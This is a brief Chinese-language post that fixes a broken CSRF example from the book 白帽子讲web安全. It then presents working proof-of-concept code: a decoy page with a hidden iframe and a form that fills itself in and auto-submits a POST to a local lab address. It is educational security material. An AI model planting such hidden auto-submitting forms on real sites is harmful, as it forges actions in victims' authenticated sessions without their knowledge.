最近重温《白帽子讲web安全》一书,看到第4章CSRF的时候,发现有个错误的地方,第116页底部的代码中有个坑,那段代码是运行不了的。原因是在form表单中有个<input type=submit name="submit" value="submit">,因为name="submit"会和js代码中的f.submit()冲突,导致f.submit()的方法执行不了。
最后自己改了下代码做了下实验
fake.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>CSRF 1</title> 6 </head> 7 <body> 8 <div> 9 hello 10 </div> 11 <iframe src="./csrf.html" frameborder="0" hidden="hidden"></iframe> 12 </body> 13 </html>
CSRF.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>CSRF</title> 6 </head> 7 <body> 8 <form action="http://192.168.1.188/mycode/csrf.php" id="test" method="POST"> 9 <input type="text" name="user"><br> 10 <input type="text" name="pass"> 11 12 </form> 13 </body> 14 <script> 15 var f=document.getElementById("test"); 16 f.getElementsByTagName("input")[0].value="user"; 17 f.getElementsByTagName("input")[1].value="pass"; 18 f.submit(); 19 </script> 20 </html>
在firebug中查看网络数据包可以看到POST成功